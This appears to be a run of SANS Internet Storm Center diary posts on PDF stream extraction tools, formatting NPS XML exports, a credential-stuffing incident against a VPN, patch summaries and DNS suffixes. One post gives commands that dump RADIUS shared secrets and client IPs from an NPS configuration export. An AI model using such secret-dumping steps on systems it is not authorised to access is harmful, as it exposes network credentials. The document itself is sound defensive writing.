Wireshark release 4.2.5 fixes 3 vulnerabilities (%%cve:2024-4853%%, %%cve:2024-4854%% and %%cve:2024-4855%%) and 19 bugs.

Didier Stevens

Senior handler
blog.DidierStevens.com

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

In my diary entry "Analyzing PDF Streams" I showed how to use my tools file-magic.py and myjson-filter.py together with my PDF analysis tool pdf-parser.py to analyze PDF streams en masse.

In this diary entry, I will show how file-magic.py can augment JSON data produced by pdf-parser.py with file-type information that an then be used by myjson-filter.py to filter out files you are interested in. As an example, I will extract all JPEGs from a PDF document.

First, let's produce statistics with pdf-parser.py's option -a:

This confirms that there are many "Indirect objects with a stream" in this document.

Next, I let pdf-parser.py produce JSON output (--jsonoutput) with the content of the unfiltered streams, and I let file-magic.py consume this JSON output (--jsoninput) to try to identify the file type of each stream based on its content (since streams don't have a filename, there is no filename extension and we need to look at the content):

If we use option -t to let file-magic.py just output the file type (and not the file/stream name), we can make statistics with my tool count.py and see that the PDF document contains many JPEG files:

Now we want to write all of these JPEG images to disk. We use file-magic.py again in JSON mode, but let it also output the same JSON data augmented with file-type information (--jsonoutput):

Next, this JSON data is consumed by myjson-filter.py and filtered with regular expression (case sensitive) JPEG on the file type: -t JPEG.

Finally, we write the JPEG images to disk with -W hashext:jpeg: this writes each JPEG stream to disk with a filename consisting of the sha256 of the file's content and extension .jpeg.

By using the hash of the content as filename, there are no duplicate pictures:

Should you want to reproduce the commands in these diary entries with the exact same PDF files I used, my old ebook on PDF analysis can be found here and the analysis on TLS backdoors done by a colleague can be found here.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I was recently asked to <ahem> "recover" a RADIUS key from a Microsoft NPS server.  No problem I think, just export the config and it's all there in clear text right?

... yes, sort of ...

The XML file that gets output is of course perfect XML, but that doesn't mean it's easy to read for a human, it's as scrambled as my weekend eggs.  I got my answer, but then of course started to look for a way to get the answer in an easier way, something I could document and hand off to my client.  In other words, I started on the quest for a "jq" like tool for XML.  Often security work involves taking input in one text format and converting it to something that's human readable, or more easily parsed by the next tool in the pipeline.  (see below)

XMLLint is a pretty standard one that's in Linux, you can get it by installing libxml2.  Kali has it installed by default - usage is very straightforward:

xmllint < file.xml

or

cat file.xml | xmllint

There are a bunch of output options, but because it's not-so windows friendly I didn't dig to far - run man xmllint or browse here: https://gnome.pages.gitlab.gnome.org/libxml2/xmllint.html  if you need more than the basics on this.

However, finding something like this for Windows turned into an adventure, there's a port of xmllint for Windows but it's in that 10-year age range that makes me a bit leary to install it.  With a bit of googling I found yq.

This is a standalone install on most Linux distro's (sudo apt-get install yq or whatever), and has a few standard install methods for windows:

• you can just download the binary and put it in your path
• choco install yq
• winget install --id MikeFarah.yq

yq is written to mimic jq like you'd expect from the name, but will take json, yaml, xml, csv and tsv files.  It's not as feature-heavy as jq, but it's got enough, and let's face it, most of us use these for pretty print output, so that we can grep against that anyway.
I especially liked it for today's problem because I can adjust the indent, since the NPS XML export has a fairly deep heirarchy I went with an indent of 1:

type nps-export.xml | yq --input-format xml --output-format xml --indent 1 > pretty.xml

A quick peek at the file found me my answwer in the pretty (and grep-able) format that I wanted.  A typical RADIUS Client section looks lke:

 <Clients name="Clients">
  <Children>
   <DEVICE name="DEVICENAME">
    <Properties>
     <Client_ _Template_Guid="_Template_Guid" xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">{00000000-0000-0000-0000-000000000000}</Client_>
     <IP_Address xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">IP.Address.Goes.Here</IP_Address>
     <NAS_Manufacturer xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="int">0</NAS_Manufacturer>
     <Opaque_Data xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></Opaque_Data>
     <Radius_Client_Enabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">1</Radius_Client_Enabled>
     <Require_Signature xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">0</Require_Signature>
     <Shared_Secret xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">SuperSecretSharedKeyGoesHere</Shared_Secret>
     <Template_Guid xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">{1A1917B8-D2C0-43B3-8144-FAE167CE9316}</Template_Guid>
    </Properties>

Or I could dump all the shared secrets with the associated IP Addresses with:

type pretty.xml | findstr "IP_Address Shared_Secret"

or

cat pretty.xml | grep 'IP_address\|Shared_Secret'

After all that, I think I've found my go-to for text file conversions - in particular xml or yaml, especially in Windows ..

Full details on these two tools discussed:
https://github.com/mikefarah/yq
https://linux.die.net/man/1/xmllint

If you've got a different text formatter (or un-formatter), or if you've used xmllint or yq in an interesting way, please let us know about it in our comment form!

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I had an interesting call from a client recently - they had a number of "net use" and "psexec" commands pop up on a domain controller, all called from PSEXEC (thank goodness for a good EDR deployed across the board!!).  The source IP was a VPN session.

Anyway, we almost immediately declared an incident, and the VPN that was in use that had just Userid / Password authentication was the ingress.  We found a US employee with an active VPN session from Europe (the classic "impossible geography session") - so the standard "kill the session, deactivate the account / change the password action" ensued.
Followed by a serious conversation - really your userid/password protected VPN is only as strong as your weakest password.  Any you KNOW that some folks have kept their "Welcome123" password that they got at their last "I forgot my password" helpdesk call.  Also, your userid/password VPN is only as strong as the weakest other site that your folks have used their work credentials for.

Anyway the actions and discussion above was followed by the "who would want to target us?" conversation, so off to the logs we went.

The standard Cisco VPN rejected login syslog message looks like this:

Local4.Info     <fw.ip.add.ress>    %ASA-6-113005: AAA user authentication Rejected : reason = AAA failure : server = <rad.ius.server.ip> : user = ***** : user IP = <att.ack.er.ip>

So, we started by dumping all the Rejected logins for the day (note that this client has syslog in Windows):

type fw.ip.add.ress.txt | find "Rejected" > aaafail.txt

Now let's see how many events we have in a day:

type aaafail.txt | wc -l
 196500

Let's look at a representative timeslice.  We'll look at:

• 5pm-6pm (so the time is 17:xx)
• remove any repeating space characters (tr -s " ")
• field 24 is the souce IP address, extract that with "cut"
• sort | uniq -c  Give me just uniq addresses, with counts, sorted in descending order
• After that, I'm just looking (manually) at the attacking hosts with a 10 count or higher

type aaafail.txt | find " 17:" | tr -s " " | cut -d " " -f 24 | sort | uniq -c | sort /r
    670 207.180.247.77
     33 80.94.95.200
     18 45.135.232.63
     15 45.140.17.49
     15 45.140.17.44
     15 45.135.232.98
     14 45.140.17.63
     14 45.140.17.54
     14 45.140.17.47
     14 45.135.232.94
     14 45.135.232.101
     14 45.135.232.100
     14 45.134.26.25
     14 193.143.1.62
     13 91.202.233.3
     13 45.140.17.41
     13 45.135.232.89
     13 45.135.232.26
     13 45.134.26.6
     10 31.41.244.44

The first thing we notice is that the first IP stands out, so let's block that.
Now we'll look at those IP's a bit closer using ipinfo, see my story on this utility here: https://isc.sans.edu/diary/Using+Passive+DNS+sources+for+Reconnaissance+and+Enumeration/28596

ipinfo  207.180.247.77
IPINFO OUTPUT
{
  "ip": "207.180.247.77",
  "hostname": "cp.srv.plusdatacenter.com",
  "city": "Frankfurt am Main",
  "region": "Hesse",
  "country": "DE",
  "loc": "50.1155,8.6842",
  "org": "AS51167 Contabo GmbH",
  "postal": "60306",
  "timezone": "Europe/Berlin"
}

Next we note that these "top 20" hosts generate 953 requests out of the for the hour, so this really does look like 1 outlier, plus ~19-20 hosts in a managed cluster.

OK, let's look at those other two subnets that are over-represented in this top 20 list:

ipinfo 45.140.0.0
IPINFO OUTPUT
{
  "ip": "45.140.0.0",
  "city": "Sandnes",
  "region": "Rogaland",
  "country": "NO",
  "loc": "58.8524,5.7352",
  "org": "AS201454 UPHEADS AS",
  "postal": "4301",
  "timezone": "Europe/Oslo"
}

ipinfo 45.135.0.0
IPINFO OUTPUT
{
  "ip": "45.135.0.0",
  "city": "Kyiv",
  "region": "Kyiv City",
  "country": "UA",
  "loc": "50.4547,30.5238",
  "org": "AS208467 MagicService LLC",
  "postal": "03027",
  "timezone": "Europe/Kyiv"
}

Note that we're 3 searches in and we still haven't found of the traditional "boogeyman".  No Russia, no DPRK, no Iran (yet).

So, keeping in mind that we're just playing with part of the attack, I started blocking subnets, ASN's, and countries.

We blocked the subnets above, and the attack shifted within seconds to ramp up from a Cloud Service Provider in Germany.  We blocked their address space, and it shifted to a CSP in France.  Two more CSP's later, and we finally cut the "top 20" volumes down, and our high volume hosts were down to 5 hosts in Russia.
Blocking Russia shifted the attack to India, then South America.  

You see the patterns here, and have hopefully drawn the same conclusions.

The attackers have pre-built "malicious assets" wherever they can spin up legitimate free or low cost cloud hosts.  The attacker is not attacking from their own IP space or even thier own country.  The entire thing is automated, over the course of that day we saw malicious attacks from roughly 1100 IP addresses as we blocked various subnets and ASNs for various (mostly legitimate) cloud providers.

Looking at the other half of the equation, this attacker in particular was using account names that were not related to the organization being attacked - the userid's being used were a mix of all formats plus favourites such as admin, administrator and root.  So it looks like they were using a combination of standard password dumps as input.  I'd have been more concerned - and wouldn't have played around so much - if the attacker had harvested user account info from LinkedIn and similar sources.  If the credential stuffing attack contains mostly legitimate people names, the chances of success are WAY higher - they're most likely combining legit names with password dump data that matches those names.  Normally we see this sort of thing with red team or more targeted malicious activity, where the per-company costs are a bit higher but because things are targetted, the attack tends to succeed sooner.  In that situation we'd have likely shut down the VPN and implemented MFA offline.  Password dump files such as this are easy to come by, and are generally free - though you can certainly purchase access targeted lists or even purchase access to particular companies from "access as a Service" companies in the "criminal supply chain".  Don't believe folks who use phrases like "the dark web" when describing these (though that does exist too)

Needless to say, we did a crash migration to MFA for their VPN, we had them over within a couple of hours of making the decision.  Since their email was already using MFA, this was free and no fuss at all (thanks Microsoft!) - the MFA prompts were already familiar to the user base.

Lessons learned?

• Nobody is targetting you, they are targetting everyone that hasn't implemented MFA.  Or possibly targetting even the MFA sites, since it's tough to tell either way until you get to the MFA prompt.  
• Also from the connection volumes, the attackers were very careful not to lock out accounts.  Each IP address has roughly 15 attempts max in an hour, so that's once every ~4 minutes.
• With just one hit every 4 minutes, just this one example cluster has gobs of capacity to easily scale up to easily target hundreds of other organizations.
• They are targeting VPNs.  None of this "pivot through a website" gymnastics, then "pivot out of the DMZ" heartache, they're after the front door and full access to the network.  Though they're still targeting websites too.  Anything with a login prompt is fair game.
• This entire thing is automated.  As I shut down each cluster of addresses, a new cluster would pop up elsewhere in the world within seconds.  The old cluster is still chugging along against its other targets.
• The cluster of hosts at any given time likely are not the actual attacking hosts.  Remember, the attackers have a significant application and data management challenge here.  They need to centrally store the "prospective credentials" and actual compromised credentials, as well as keep track of hundreds of targets and where each target is in the campaign.  So these clusters of hosts are likely proxy servers being used by a central cluster of actual servers backed by a database and a decent application, or at least a pretty good script.  This means my estimate of hundreds of targets is likely on the light side.
• Geo-blocking is getting less useful over time - while we still do see attacks from the countries you might expect, anyone who is any good has automation to either source their attack from almost anywhere, and once they see you blocking them, from anywhere else.  This argues further for central control and data management, since I'd bet only our attacker's proxy servers were jumping from datacenter to datacenter, there's no profit  in moving the attack against any given organization unless you have to.  This means that "we are being targeted by country x" are very difficult to attribute (this is not new)
• The foreign influence attacks" (check the media lately in Canada) headlines aren't worth the headline - OF COURSE the attack is coming from outside of your country.  Nobody is going to mount an attack where their local constabularly can roll up and knock down their door.  These folks take great pains (usually) to operate in countries that their government doesn't play so nice with.  Good luck finding the actual servers though, unless you compromise a proxy host that is (this may not be legal in your jurisdiction, this was NOT advice)
• Attack styles do tend to come in waves.  The classic "drop powershell to download the malware" email attacks have declined somewhat since Microsoft blocked most scripting in Office.  We had "whale phishing" attacks that drove MFA for email a couple of years back.  In more recent times we've seen attacks against vulnerabilities in everyone's edge appliances (firewalls, vpn's, file transfer, terminal service proxies etc).  Credential stuffing against userid/passwords seem to be seeing an uptick lately.  But guess what, they're all in play, all the time - none of these are new, and just because one hits the headlines doesn't mean the others are not just as active as they were last month or last year.  Credential stuffing attacks very much like this one have been a part of the landscape since the 90's (or before), they're just too cheap and easy to set and forget for the attacker, especially these days.

The "moral of the story"?

• If you haven't implemented MFA, now is the time.
• If you have just userid/password protection on your VPN and are not compromised, you likely will be soon.
• If you think you're not compromised, that doesn't mean that you're not.  The attacker in this incident is likely not the only one, and is likely not even the only one from today.  They'll likely sell any compromised credentials to the real attacker that's in it for extortion of one kind or another.  That real attacker likely is purchasing the credentials from one provider, the malware from another and so on - the bad guys are just as much focused on "As A Service" as regular IT teams. In fact, the attackers are regular IT teams, just (mostly) operating outside of their target jurisdictions.
• So you might be compromised a good long time before you see anything obvious in your daily operations that will tell you that you have a problem.
• If you are still running simple antivirus, you need to look at better options.  
• If you don't have a SIEM that will alert you to attacks that show up in your logs, then you won't know about your attacks until they succeed.

Anyway, this story went on longer than I had planned.  Long story short, if you have anything (VPN, Website, SSH, application, whatever) facing the internet that has a simple userid / password login, then you should probably rethink that decision in 2024.

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This month we got patches for 67 vulnerabilities. Of these, 1 are critical, and 1 is being exploited according to Microsoft.

The critical vulnerability is a Remote Code Execution (RCE) affecting the Microsoft Sharepoint Server (CVE-2024-30044). According to the advisory, an authenticated attacker with Site Owner permissions or higher could upload a specially crafted file to the targeted Sharepoint Server and craft specialized API requests to trigger deserialization of file's parameters. This would enable the attacker to perform remote code execution in the context of the Sharepoint Server. The CVSS for the vulnerability is 8.8.

The zero-day vulnerability is an elevation of privilege on Windows DWM (Desktop Windows Management) Core Library (CVE-2024-30051). According to the advisory, an attacker who successfully exploited this vulnerability could gain SYSTEM privileges. The CVSS for the vulnerability is 7.8.

There is an important vulnerability affecting MinGit software (CVE-2024-32002), used by Microsoft Visual Studio, caused by an improper limitation of a pathname to a restricted directory ('Path Traversal') making it susceptible to Remote Code Execution. It is being documented in the Security Update Guide to announce that the latest builds of Visual Studio are no longer vulnerable. Please see Security Update Guide Supports CVEs Assigned by Industry Partners for more information. The CVSS for the vulnerability is 9.0 – the highest for this month.

See the full list of patches:

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET and Visual Studio Remote Code Execution Vulnerability
%%cve:2024-30045%%	No	No	-	-	Important	6.3	5.5
Azure Migrate Cross-Site Scripting Vulnerability
%%cve:2024-30053%%	No	No	-	-	Important	6.5	5.9
CVE-2024-32002 Recursive clones on case-insensitive filesystems that support symlinks are susceptible to Remote Code Execution
%%cve:2024-32002%%	No	No	-	-	Important	9.0	7.8
Chromium: CVE-2024-4331 Use after free in Picture In Picture
%%cve:2024-4331%%	No	No	-	-	-
Chromium: CVE-2024-4368 Use after free in Dawn
%%cve:2024-4368%%	No	No	-	-	-
Chromium: CVE-2024-4558 Use after free in ANGLE
%%cve:2024-4558%%	No	No	-	-	-
Chromium: CVE-2024-4559 Heap buffer overflow in WebAudio
%%cve:2024-4559%%	No	No	-	-	-
Chromium: CVE-2024-4671 Use after free in Visuals
%%cve:2024-4671%%	No	No	-	-	-
DHCP Server Service Denial of Service Vulnerability
%%cve:2024-30019%%	No	No	-	-	Important	6.5	5.7
Dynamics 365 Customer Insights Spoofing Vulnerability
%%cve:2024-30047%%	No	No	-	-	Important	7.6	6.6
%%cve:2024-30048%%	No	No	-	-	Important	7.6	6.6
GitHub: CVE-2024-32004 Remote Code Execution while cloning special-crafted local repositories
%%cve:2024-32004%%	No	No	-	-	Important	8.1	7.1
Microsoft Bing Search Spoofing Vulnerability
%%cve:2024-30041%%	No	No	-	-	Important	5.4	4.7
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2024-30007%%	No	No	-	-	Important	8.8	7.7
Microsoft Edge (Chromium-based) Spoofing Vulnerability
%%cve:2024-30055%%	No	No	Less Likely	Less Likely	Low	5.4	4.7
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2024-30042%%	No	No	-	-	Important	7.8	6.8
Microsoft Intune for Android Mobile Application Management Tampering Vulnerability
%%cve:2024-30059%%	No	No	-	-	Important	6.1	5.8
Microsoft PLUGScheduler Scheduled Task Elevation of Privilege Vulnerability
%%cve:2024-26238%%	No	No	-	-	Important	7.8	6.8
Microsoft Power BI Client JavaScript SDK Information Disclosure Vulnerability
%%cve:2024-30054%%	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2024-30043%%	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-30044%%	No	No	-	-	Critical	8.8	7.7
Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability
%%cve:2024-30006%%	No	No	-	-	Important	8.8	7.7
Microsoft Windows SCSI Class System File Elevation of Privilege Vulnerability
%%cve:2024-29994%%	No	No	-	-	Important	7.8	6.8
NTFS Elevation of Privilege Vulnerability
%%cve:2024-30027%%	No	No	-	-	Important	7.8	6.8
Visual Studio Denial of Service Vulnerability
%%cve:2024-30046%%	Yes	No	-	-	Important	5.9	5.2
Win32k Elevation of Privilege Vulnerability
%%cve:2024-30028%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30030%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30038%%	No	No	-	-	Important	7.8	6.8
Windows CNG Key Isolation Service Elevation of Privilege Vulnerability
%%cve:2024-30031%%	No	No	-	-	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2024-30034%%	No	No	-	-	Important	5.5	4.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2024-29996%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30025%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30037%%	No	No	-	-	Important	7.5	6.5
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2024-30016%%	No	No	-	-	Important	5.5	4.8
Windows Cryptographic Services Remote Code Execution Vulnerability
%%cve:2024-30020%%	No	No	-	-	Important	8.1	7.1
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2024-30032%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30035%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30051%%	Yes	Yes	-	-	Important	7.8	7.2
Windows DWM Core Library Information Disclosure Vulnerability
%%cve:2024-30008%%	No	No	-	-	Important	5.5	4.8
Windows Deployment Services Information Disclosure Vulnerability
%%cve:2024-30036%%	No	No	-	-	Important	6.5	5.7
Windows Hyper-V Denial of Service Vulnerability
%%cve:2024-30011%%	No	No	-	-	Important	6.5	5.7
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2024-30010%%	No	No	-	-	Important	8.8	7.7
%%cve:2024-30017%%	No	No	-	-	Important	8.8	7.7
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-30018%%	No	No	-	-	Important	7.8	6.8
Windows MSHTML Platform Security Feature Bypass Vulnerability
%%cve:2024-30040%%	No	Yes	-	-	Important	8.8	8.2
Windows Mark of the Web Security Feature Bypass Vulnerability
%%cve:2024-30050%%	No	No	-	-	Moderate	5.4	5.0
Windows Mobile Broadband Driver Remote Code Execution Vulnerability
%%cve:2024-29997%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-29998%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-29999%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30000%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30001%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30002%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30003%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30004%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30005%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30012%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30021%%	No	No	-	-	Important	6.8	5.9
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2024-30039%%	No	No	-	-	Important	5.5	4.8
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2024-30009%%	No	No	-	-	Important	8.8	7.7
%%cve:2024-30014%%	No	No	-	-	Important	7.5	6.6
%%cve:2024-30015%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30022%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30023%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30024%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30029%%	No	No	-	-	Important	7.5	6.5
Windows Search Service Elevation of Privilege Vulnerability
%%cve:2024-30033%%	No	No	-	-	Important	7.0	6.1
Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability
%%cve:2024-30049%%	No	No	-	-	Important	7.8	6.8

 

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Apple today released updates for its various operating systems. The updates cover iOS, iPadOS, macOS, watchOS and tvOS. A standalone update for Safari was released for older versions of macOS. One already exploited vulnerability, CVE-2024-23296 is patched for older versions of macOS and iOS. In March, Apple patched this vulnerability for more recent versions of iOS and macOS.

 

Safari 17.5	iOS 17.5 and iPadOS 17.5	iOS 16.7.8 and iPadOS 16.7.8	macOS Sonoma 14.5	macOS Ventura 13.6.7	macOS Monterey 12.7.5	watchOS 10.5	tvOS 17.5
CVE-2024-27834 [moderate] WebKit The issue was addressed with improved checks. An attacker with arbitrary read and write capability may be able to bypass Pointer Authentication
x	x		x			x	x
CVE-2024-27804 [important] AppleAVD The issue was addressed with improved memory handling. An app may be able to execute arbitrary code with kernel privileges
	x		x			x	x
CVE-2024-27816 [moderate] RemoteViewServices A logic issue was addressed with improved checks. An attacker may be able to access user data
	x		x			x	x
CVE-2024-27841 [important] AVEVideoEncoder The issue was addressed with improved memory handling. An app may be able to disclose kernel memory
	x		x
CVE-2024-27839 [moderate] Find My A privacy issue was addressed by moving sensitive data to a more secure location. A malicious application may be able to determine a user's current location
	x
CVE-2024-27818 [moderate] Kernel The issue was addressed with improved memory handling. An attacker may be able to cause unexpected app termination or arbitrary code execution
	x		x
CVE-2023-42893 [moderate] Libsystem A permissions issue was addressed by removing vulnerable code and adding additional checks. An app may be able to access protected user data
	x		x
CVE-2024-27810 [important] Maps A path handling issue was addressed with improved validation. An app may be able to read sensitive location information
	x		x			x	x
CVE-2024-27852 [moderate] MarketplaceKit A privacy issue was addressed with improved client ID handling for alternative app marketplaces. A maliciously crafted webpage may be able to distribute a script that tracks users on other webpages
	x
CVE-2024-27835 [moderate] Notes This issue was addressed through improved state management. An attacker with physical access to an iOS device may be able to access notes from the lock screen
	x
CVE-2024-27803 [moderate] Screenshots A permissions issue was addressed with improved validation. An attacker with physical access may be able to share items from the lock screen
	x
CVE-2024-27821 [moderate] Shortcuts A path handling issue was addressed with improved validation. A shortcut may output sensitive user data without consent
	x		x			x
CVE-2024-27847 [important] Sync Services This issue was addressed with improved checks An app may be able to bypass Privacy preferences
	x		x
CVE-2024-27796 [moderate] Voice Control The issue was addressed with improved checks. An attacker may be able to elevate privileges
	x		x
CVE-2024-27789 [important] Foundation A logic issue was addressed with improved checks. An app may be able to access user-sensitive data
		x		x	x
CVE-2024-23296 [moderate] *** EXPLOITED *** RTKit A memory corruption issue was addressed with improved validation. An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
		x		x
CVE-2024-27837 [moderate] AppleMobileFileIntegrity A downgrade issue was addressed with additional code-signing restrictions. A local attacker may gain access to Keychain items
			x
CVE-2024-27825 [moderate] AppleMobileFileIntegrity A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. An app may be able to bypass certain Privacy preferences
			x
CVE-2024-27829 [moderate] AppleVA The issue was addressed with improved memory handling. Processing a file may lead to unexpected app termination or arbitrary code execution
			x
CVE-2024-23236 [moderate] CFNetwork A correctness issue was addressed with improved checks. An app may be able to read arbitrary files
			x
CVE-2024-27827 [moderate] Finder This issue was addressed through improved state management. An app may be able to read arbitrary files
			x
CVE-2024-27822 [important] PackageKit A logic issue was addressed with improved restrictions. An app may be able to gain root privileges
			x
CVE-2024-27824 [moderate] PackageKit This issue was addressed by removing the vulnerable code. An app may be able to elevate privileges
			x
CVE-2024-27813 [moderate] PrintCenter The issue was addressed with improved checks. An app may be able to execute arbitrary code out of its sandbox or with certain elevated privileges
			x
CVE-2024-27843 [moderate] SharedFileList A logic issue was addressed with improved checks. An app may be able to elevate privileges
			x
CVE-2024-27798 [moderate] StorageKit An authorization issue was addressed with improved state management. An attacker may be able to elevate privileges
			x
CVE-2024-27842 [important] udf The issue was addressed with improved checks. An app may be able to execute arbitrary code with kernel privileges
			x
CVE-2023-42861 [moderate] Login Window A logic issue was addressed with improved state management. An attacker with knowledge of a standard user's credentials can unlock another standard user's locked screen on the same Mac
				x
CVE-2024-23229 [moderate] Find My This issue was addressed with improved redaction of sensitive information. A malicious application may be able to access Find My data
					x

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I was asked if I could provide mote details on the following sentence from my diary entry "nslookup's Debug Options":

     (notice that in my nslookup query, I terminated the FQDN with a dot: "example.com.", I do that to prevent Windows from adding suffixes)

A DNS suffix is a configuration of the Windows DNS client (locally, via DHCP, ...) to have it append suffixes when doing domain lookups.

For example, if a DNS suffix local is configured, then Windows' DNS client will not only do a DNS lookup for example.com, but also for example.com.local.

As an example, let me configure mylocalnetwork as a suffix on a Windows machine:

With DNS suffix mylocalnetwork configured, nslookup will use this suffix. For example, when I perform a lookup for "example.com", nslookup will also do a lookup for "example.com.mylocalnetwork".

I can show this with nslookup's debug option d2:

You can see in these screenshots DNS type A and AAAA resolutions for example.com.mylocalnetwork and example.com.

One of the ideas behind DNS suffixes, is to reduce typing. If you have a NAS, for example, named mynas, you can just access it with https://mynas/login. No need to type the fully qualified domain name (FQDN) https://mynas.mylocalnetwork/login.

Notice that the suffix also applies for AAAA queries, while in the screenshots above I only configured it for IPv4. That's because the DNS suffix setting applies both to IPv4 and IPv6:

Before I show the results with "example.com." (notice the dot character at the end), let me show how I can summarize the lookups by grepping for "example" (findstr):

If I terminate my DNS query with a dot character (.), suffixes will not be appended:

Notice that there are no resolutions for mylocalnetwork in this last example. That's because the trailing dot instructs Windows' DNS client to start resolving from the DNS root zone.

A domain name consists of domain labels separated by dots:

If you are adding a trailing dot, you are actually adding an empty domain label:

The empty label represents the DNS root zone, and no suffixes are appended to the DNS root zone, as it is the top-level (root) DNS zone.

A small tip if you want to restrict nslookup's resolutions to A records, for example. There is an option for that.

If you use nslookup's help option /?, you will see that you can provide options, but the actual options are not listed:

To see the available options, start nslookup, and then type "?" at its prompt, like this:

Now you can see that option "type" allows you to specify which type of records to query. Here is an example for A records:

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Occasionaly, Xavier and Jim will ask me specific students' questions about my tools when they teach FOR610: Reverse-Engineering Malware.

Recently, a student wanted to know if my pdf-parser.py tool can extract all the PDF streams with a single command.

Since version 0.7.9, it can.

A stream is (binary) data, part of an object (optional), and can be compressed, or otherwise transformed. To view a single stream with pdf-parser, one selects the object of interest and uses option -f to apply the filters (like zlib decompression) to the stream:

 

I added a feature that is present in several of my tools, like oledump.py and zipdump.py: extract al of the "stored items" into a single JSON document.

When you use pdf-parser's option -j (--jsonoutput), all objects with a stream, will have the raw data (e.g., unfiltered) extracted and put into a JSON document that is sent to stdout:

To have the filtered (e.g., decompressed data), use option -f together with option -j:

What can you do with this JSON data? It depends on what your goals are. I have several tools that can take this JSON data as input, like file-magic.py and strings.py.

Here I use file-magic.py to identify the type of each raw data stream:

From this we can learn, for example, that object 143's stream contains a JPEG image.

And here I use file-magic.py to identify the type of each filtered data stream:

From this we can learn, for example, that object 881's stream contains a compressed TrueType Font file.

What if you want to write all stream data to disk, in individual files, for further analysis (that's what the student wanted to do, I guess)?

Then you can use my tool myjson-filter.py. It's a tool designed to filter JSON data produced by my tools, but it can also write items to disk.

When you use option -l, this tool will just produce a listing of the items contained in de JSON data:

And you can use option -W to write the streams to disk. -W takes a value that specifies what aming convention must be used to write the file to disk. vir will write items to disk with their sanitized name and extension .vir:

hashvir will write items to disk with their sha256 value as name and extension .vir:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

